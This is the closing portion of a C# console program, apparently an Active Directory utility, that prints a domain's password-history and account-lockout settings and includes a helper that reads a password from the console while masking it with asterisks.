389 | Console.WriteLine($"Enforce Password History: {pwdHistoryLength} passwords");
390 | Console.WriteLine();
391 | Console.ForegroundColor = ConsoleColor.Green;
392 | Console.WriteLine("Domain Lockout Policy Information:");
393 | Console.ResetColor();
394 | Console.WriteLine();
395 | Console.WriteLine($"Lockout Threshold: {lockoutThreshold} invalid attempts");
396 | Console.WriteLine($"Lockout Duration: {lockoutDuration.TotalMinutes} minutes");
397 | Console.WriteLine($"Reset Account Lockout Counter After: {lockoutObservationWindow.TotalMinutes} minutes");
398 | }
399 | else
400 | {
401 | Console.WriteLine("Failed to retrieve domain password policy.");
402 | }
403 | }
404 | }
405 | }
406 | catch (Exception ex)
407 | {
408 | Console.WriteLine($"Error enumerating domain password policy: {ex.Message}");
409 | }
410 | }
411 |
412 | static string ReadPassword()
413 | {
414 | string password = "";
415 | ConsoleKeyInfo key;
416 |
417 | do
418 | {
419 | key = Console.ReadKey(true);
420 |
421 | if (key.Key == ConsoleKey.Backspace && password.Length > 0)
422 | {
423 | // Delete the last character
424 | password = password.Substring(0, password.Length - 1);
425 | Console.Write("\b \b"); // Clear the last character on the console
426 | }
427 | else if (key.Key != ConsoleKey.Enter)
428 | {
429 | password += key.KeyChar;
430 | Console.Write("*");
431 | }
432 | } while (key.Key != ConsoleKey.Enter);
433 |
434 | Console.WriteLine();
435 | return password;
436 | }
437 |
438 | }
439 | }
440 |
--------------------------------------------------------------------------------